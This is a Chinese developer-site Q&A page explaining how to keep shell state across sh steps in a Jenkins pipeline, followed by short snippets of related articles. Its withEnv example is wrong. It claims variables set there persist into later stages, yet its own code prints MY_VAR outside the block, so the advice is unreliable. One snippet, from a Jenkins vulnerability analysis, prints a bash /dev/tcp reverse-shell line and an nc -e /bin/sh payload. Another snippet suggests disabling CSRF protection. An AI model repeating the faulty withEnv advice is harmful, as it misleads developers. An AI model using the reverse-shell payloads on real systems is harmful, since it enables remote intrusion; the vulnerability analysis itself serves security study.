首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在groovy jenkins pipline中跨多个sh调用保持shell

在 Groovy Jenkins Pipeline 中跨多个 sh 步骤保持 shell 环境的状态,可以通过以下几种方法实现:

基础概念

Jenkins Pipeline 是一种用于自动化构建、测试和部署应用程序的脚本语言。sh 步骤用于执行 shell 命令。在 Jenkins Pipeline 中,每个 sh 步骤默认是在一个新的 shell 环境中执行的,这意味着环境变量和状态不会在步骤之间保持。

相关优势

  1. 隔离性:每个 sh 步骤的隔离性可以防止命令之间的相互影响。
  2. 可重复性:每次执行都是独立的,确保了构建的可重复性。

类型与应用场景

  • 临时环境:适用于不需要保持状态的简单命令。
  • 持久环境:适用于需要在多个步骤之间共享状态或变量的复杂任务。

遇到的问题及原因

在多个 sh 步骤之间保持 shell 环境的状态可能会遇到以下问题:

  • 环境变量丢失:由于每个 sh 步骤都在新的 shell 环境中执行,之前设置的环境变量会丢失。
  • 状态不一致:需要在多个步骤之间共享的状态或变量无法保持。

解决方法

方法一:使用 withEnv 步骤

withEnv 步骤可以在整个 Pipeline 或特定步骤中设置环境变量,并保持这些变量在后续步骤中可用。

代码语言:txt
复制
pipeline {
    agent any
    stages {
        stage('Set Environment') {
            steps {
                withEnv(["MY_VAR=my_value"]) {
                    sh 'echo $MY_VAR'
                }
            }
        }
        stage('Use Environment') {
            steps {
                sh 'echo $MY_VAR'
            }
        }
    }
}

方法二:使用脚本块

可以在一个 script 块中执行多个 sh 命令,这样它们会在同一个 shell 环境中执行。

代码语言:txt
复制
pipeline {
    agent any
    stages {
        stage('Multiple Commands in One Shell') {
            steps {
                script {
                    sh '''
                        export MY_VAR=my_value
                        echo $MY_VAR
                        # 其他命令
                    '''
                }
            }
        }
    }
}

方法三:使用文件传递状态

可以将状态或变量写入文件,并在后续步骤中读取这些文件。

代码语言:txt
复制
pipeline {
    agent any
    stages {
        stage('Write to File') {
            steps {
                sh 'echo "my_value" > my_var.txt'
            }
        }
        stage('Read from File') {
            steps {
                script {
                    def myVar = sh(script: 'cat my_var.txt', returnStdout: true).trim()
                    echo "MY_VAR is ${myVar}"
                }
            }
        }
    }
}

总结

在 Groovy Jenkins Pipeline 中跨多个 sh 调用保持 shell 环境的状态,可以通过 withEnv 步骤、脚本块或文件传递状态来实现。选择合适的方法取决于具体的应用场景和需求。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

『高级篇』docker之gitlab和jenkins-CICD流程(43)

Jenkins中的Job配置里缺少 触发远程构建(例如,使用脚本) 选项的 ? 如图所示的功能没有出现在Job配置页面,这是由于权限问题导致的: ? 关闭防止跨站点请求伪造 ?...构建说明 咱们的所有构建都是基于pipline的,脚本是用groovy来做的,如果老铁有不会的可以查看,可以流水线语法。 ? ?...开始pipline的编写 Jenkins Pipeline是一套插件,支持将连续输送Pipeline实施和整合到Jenkins。...如果jenkins容器化,等于容器里面还要装docker是不是很蛋疼。 使用pipline写脚本其实很简单本身就是流水线,比较负责命令建议使用shell脚本的方式,这是也方便维护。...最后在说一点,jenkins的pipline语法不复杂,参考我的写你可以可以完成自动化构建,push镜像,更新服务这块其实也没完全弄好,我准备在继续好好研究下k8s,感觉k8s水太深,下次出专辑深啃一把

2.8K20

Jenkins分布式构建和Pipline

Pipline简介 pipline 是帮助 Jenkins 实现 CI 到 CD 转变的重要角色,是运行在 jenkins 2.X 版本的核心插件,简单来 说 Pipline 就是一套运行于 Jenkins...上的工作流框架,将原本独立运行于单个或者多个节点的任务连 接起来,实现单个任务难以完成的复杂发布流程,从而实现单个任务很难实现的复杂流程编排和任 务可视化,Pipeline 的实现方式是一套 Groovy...可扩展:通过 groovy 的编程更容易的扩展插件。 并行执行:通过 groovy 脚本可以实现 step,stage 间的并行执行,和更复杂的相互依赖关系。...,可以跨多个 node 执行。...# Step:步骤,step 是 jenkins pipline 最基本的操作单元,从在服务器创建目录到构建容器镜像,由各 类 # Jenkins 插件提供实现,例如: sh “make” Pipline

84450
  • 3天学会Jenkins_6_管道或流水线教程之Jenkinsfile示例

    在Jenkins管道中,每个任务或事件都至少对一个或多个事件具有某种依赖性。 ? 上图代表Jenkins的连续交付管道。它包含一组称为构建,部署,测试和发布的状态。...它还涉及以可靠和可重复的方式开发软件,以及通过测试和部署的多个阶段对构建的软件进行升级。 在本节中,你将学到: 什么是Jenkins管道? 什么是JenkinsFile?...你可以在管道上查看代码 你可以审核你的Jenkins管道 作为管道的唯一源头,可以由多个用户修改操作 JenkinsFile可以在WEB UI端或者直接使用JenkinsFile来定义。...特点: 最外层必须由pipline{ //do something }来进行包裹 不需要分号作为分隔符,每个语句必须在一行内 不能直接使用groovy语句(例如循环判断等),需要被script {}包裹...): 在 Linux、BSD 和 Mac OS(类 Unix) 系统中的 shell 命令, 对应于 Pipeline 中的一个 sh 步骤(step) // Jenkinsfile (Declarative

    4K20

    软件测试|Jenkins创建Pipeline

    近期使用Jenkins帮业务团队搭建过一次Pipline,并将测试流程加入到了Pipline中,将搭建过程的做了简单记录。考虑到项目的保密性,该文章仅演示搭建步骤和工具使用,文中的代码均为伪代码。...JenkinsPipeline简介与安装01了解Jenkins的人相信对pipeline都有所耳闻,pipeline是Jenkins2.0推出的一套Groovy DSL语法,将原本独立运行于多个Job或者多个节点的任务统一使用代码的形式进行管理和维护...:图片如果你已经安装了Jenkins普通版本,可以在【Manage Jenkins】——【ManagePlugins】中搜索BlueOcean安装,安装完之后同样在主界面做侧导航栏可以看到上图中的图标。...这些触发条件可以根据项目需要选择多个,组合使用。图片我的代码托管在gitlab中,我希望在代码有更新时自动触发构建,所以选择了“轮询SCM”。...流水线这一部分是Pipeline的主要部分,在这一步我们将开始定义流水线定义流水线使用的是Groovy脚本,保存脚本有两种方式,第一种是直接写在Jenkins工程中,另一种是存放在代码仓库项目目录下的Jenkinsfile

    1.5K30

    Pipeline As Code With Jenkins2.0

    所谓Pipeline,简单来说,就是一套运行于Jenkins上的工作流框架,将原本独立运行于单个或者多个节点的任务连接起来,实现单个任务难以完成的复杂发布流程 Pipeline的实现方式是一套Groovy...注意,Stage是一个逻辑分组的概念,可以跨多个Node。 Node:一个Node就是一个Jenkins节点,或者是Master,或者是Agent,是执行Step的具体运行期环境。...Jenkins2.0 Pipeline关键DSL语法及示例 在这里总结一下Pipeline中的关键DSL语法,利用Groovy对其进行组合可以完成任何一项复杂的CI/CD流程,熟悉它们大有裨益。...load 调用一个外部groovy脚本,举例: 1 load 'D:\\jenkins\\workspace\\test.groovy' node 分配节点给某个任务运行,举例: 123 node...执行shell脚本,如:sh “sh test.sh” sleep 延时,如延时2小时:sleep time: 2, unit: ‘HOURS’ stage 创建任务的stage,举例: 123

    2.1K90

    前端工程化:保姆级教学 Jenkins 部署前端项目

    然后在 构建 中选择 增加构建步骤 -> 执行 shell 输入打包发布相关的命令。Jenkins 会逐行执行。...复制代码 解决方案:在 /etc/sudoers 文件中增加 jenkins ALL=(ALL) NOPASSWD:ALL 表示在执行 sudo 时不需要输入密码。...它是一个相对路径,相对于 Jenkins 的工作目录 由于上面的 shell 执行之后在工作目录中只有一个压缩包,so 直接写一个文件名即可。 Remove prefix:去前缀。...pipline1.jpg 在项目的 Jenkinsfile 配置文件中写配置。 pipline2.jpg 在正式开始之前应该了解 Jenkins Pipline 的基础概念。...steps:描述了 stage 中的步骤,可以存在多个。 了解到这里还是不够的。流水线入门[8] 流水线语法参考[9] Pipline 复刻 Freestyle 这里先直接把配置贴出来。

    1.3K20

    Jenkins学习笔记(二)- 跨机器部署项目

    在上期文章中,我们说自动构建和跨机器部署项目是重点,作者通过实践发现Jenkins通过pipline发送项目到远程服务器的比较麻烦,尤其是ssh的方式对linux环境还比较友好,对于window环境的服务...我们安装好我们的插件,那么我们通过jenkins发送get请求,然后触发我们的部署木马,上传项目并执行脚本,这样不就解决问题了吗?考虑到java的跨平台特性,作者采用java来做这个事情。 ?...怎么整合到pipline中,通过查阅相关资料。我们了解到基本的使用如下所示: ?...steps { script { def toJson = { input -> groovy.json.JsonOutput.toJson...那么我们只需要将要我们要不部署的项目信息和目标环境在参数中定义好,那么就可以开发部署程序的客户端和服务端,其中客户端和jenkins部署在一起,服务端和目标环境部署在一起。

    74010

    2.Jenkins进阶之流水线pipeline语法入门学习

    在与问题域相同的抽象层次对概念建模。 DSL 是 Jenkins 服务特有的一个语言,底层通过 Groovy 编程语言来实现。在使用过程中,可以很好的结合 Groovy。...Tips: Jenkins 内置了 Groovy 的引擎,我们可以通过 Groovy 编程语言在 DSL API 中添加逻辑编程。...Stage 是一个逻辑分组的概念,可以跨多个 Node Step:步骤,Step 是最基本的操作单元,可以是打印一句话,也可以是构建一个 Docker 镜像,由各类 Jenkins 插件提供,·比如命令...,我们知道在Java中主类名必须与文件同名,但是在Groovy中一个文件可以定义多个public类。...: 注意这里我们在Groovy中使用了单引号,所以变量展开是由Bourne shell完成的而不是Jenkins; sh:执行shell命令 该步骤支持的参数有: script:将要执行的shell脚本

    17.7K20

    Jenkins 构建自动化 .NET Core 发布镜像

    目录 导读 部署 Jenkins 安装插件 拉取镜像 制作 Jenkinsfile 脚本 构建流水线 观察 导读 在本章中,将介绍如何在 Linux 下使用 Docker 部署、启动 Jenkins,编写脚本...部署 Jenkins 请提前在 Linux 上安装 Docker,在 Linux 中,我们使用 Docker 启动 Jenkins,这样可以避免手动安装大量依赖以及污染本地环境,也便于快速启动和故障恢复...在宿主机中创建 /var/jenkins_home 目录,用于备份 Jenkins 中的数据。...publish src/WebDemo -c Release' } } 其实很简单,每个步骤执行 shell 命令就行,我们可以使用 sh '...'...Multibranch Pipeline 好处是可以同时检查多个分支,为每个分支创建构建Job,而 Pipeline 会把多个分支放到一个 Job 中。

    2.4K31

    如何使用代码配置运行Jenkins实例?

    第二个项目用于与Jenkins DSL插件进行交互。目标是将作业,文件夹和视图作为代码存储在groovy文件中,因此只有我们在Git存储库中定义的内容才适用于Jenkins实例。.../usr/bin/env bash docker build -t jenkins_as_code:0.1.0 . ---- 插件安装 为了自动化所需插件的安装,我们将使用Jenkins中包含的现有Shell...该脚本位于容器内的/ usr / local / bin /处,名称为install-plugins.sh,用于安装插件,将其保存在文件中,并使用文件作为参数调用脚本。...该脚本位于*/usr/share/jenkins/ref/init.groovy.d*目录中的容器内。...我喜欢这项研究;我想找到一种自动执行一些重复性和手动任务的方法,以便我可以使用相同的配置但使用不同的Jobs部署多个Jenkins实例。

    2.4K10

    八、pipeline流水线构建项目

    什么是PIPELINE,简单来说,就是一套运行于JENKINS上的工作流框架,将原本独立运行于单个或者多个节点的任务连接起来,实现单个任务难以完成的复杂发布流程。...PIPELINE的实现方式是一套GROOVY DSL,任何发布流程都可以表述为一段GROOVY脚本,并且 JENKINS支持从代码库直接读取脚本,从而实现了PIPELINE AS CODE的理念。...注意,STAGE是一个逻辑分组的概念,可以跨多个NODE。 2.NODE-节点: 一个NODE就是一个JENKINS节点,或者是MASTER,或者是AGENT,是执行STEP的具体运行期环境。 3....STEP-步骤: STEP是最基本的操作单元,小到创建一个目录,大到构建一个DOCKER镜像,由各类JENKINS PLUGIN提供 3.安装插件 在Jenkins插件中心搜索并安装名为pipeline...用语法生成器辅助构建html pipeline语法有一定的格式和写法,我们只需要记住上面的统一格式,然后具体的语法可以用语法生成器生成,然后复制进去即可, 1.语法生成器使用 实例 每个不同的功能语法是不一样的,在语法生成器的示例步骤中

    64310

    Jenkins--pipline 流水线部署Java后端项目

    服务器和Tomcat服务器免密交互 1.修改2台服务器hosts文件 vim /etc/hosts 在末尾加入: 192.168.0.117 jenkins 192.168.0.120 tomcat...sh 'scp -r /var/lib/jenkins/workspace/maven-gitlab-quartz/target/*.war root@tomcat:/usr/local/apache-tomcat...} } } } 5.新建流水线项目 Jenkins--pipline 流水线部署Java后端项目 Jenkins--pipline 流水线部署Java后端项目 Jenkins--pipline 流水线部署....结果:成功解决问题 出现问题1 无法远程发送war包 Jenkins--pipline 流水线部署Java后端项目 解决方案 1.重新做免密交互 2.在本地测试shell环境测试 scp -r /var...--pipline 流水线部署Java后端项目 结果:成功解决问题 7.项目测试 Jenkins--pipline 流水线部署Java后端项目 Jenkins--pipline 流水线部署Java后端项目

    1.4K52

    安全研究 | Jenkins漏洞分析

    二、利用下载文件的方法来反弹shell 1、首先创建文本内容如下,ip和端口填写我们接收shell的机器的ip和端口 bash -i >& /dev/tcp/x.x.x.x/9999 0>&1 2、将文本放置在开启...8、CVE-2016-0792 Jenkins XStream反序列化 8.1、漏洞描述 国外网站Contrast Security于2016年2月24日在公开了Jenkins近日修复的一个可通过低权限用户调用...也可以使用如下payload反弹目标机shell exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh...16、CVE-2019-10300 GitLab插件跨站请求伪造 16.1、漏洞描述 GitLab Plugin是使用在其中的一个构建触发器,它允许GitLab在推送代码或创建合并请求时触发Jenkins...CloudBees Jenkins GitLab Plugin 1.5.11及之前版本中的GitLabConnectionConfig#doTestConnection表单验证方法存在跨站请求伪造漏洞,

    6.1K10
    领券